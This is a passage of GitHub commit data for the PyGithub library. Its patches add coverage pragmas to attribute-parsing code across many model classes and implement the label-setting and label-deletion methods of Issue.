LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","filename":"src/github/Event.py"},{"patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":15,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","changes":30,"additions":15,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","filename":"src/github/Gist.py"},{"patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","filename":"src/github/GistComment.py"},{"patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","filename":"src/github/GistHistoryState.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","filename":"src/github/GitAuthor.py"},{"patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","filename":"src/github/GitBlob.py"},{"patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":7,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","filename":"src/github/GitCommit.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","filename":"src/github/GitObject.py"},{"patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","filename":"src/github/GitRef.py"},{"patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","filename":"src/github/GitTag.py"},{"patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","filename":"src/github/GitTree.py"},{"patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","filename":"src/github/GitTreeElement.py"},{"patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","filename":"src/github/Hook.py"},{"patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ 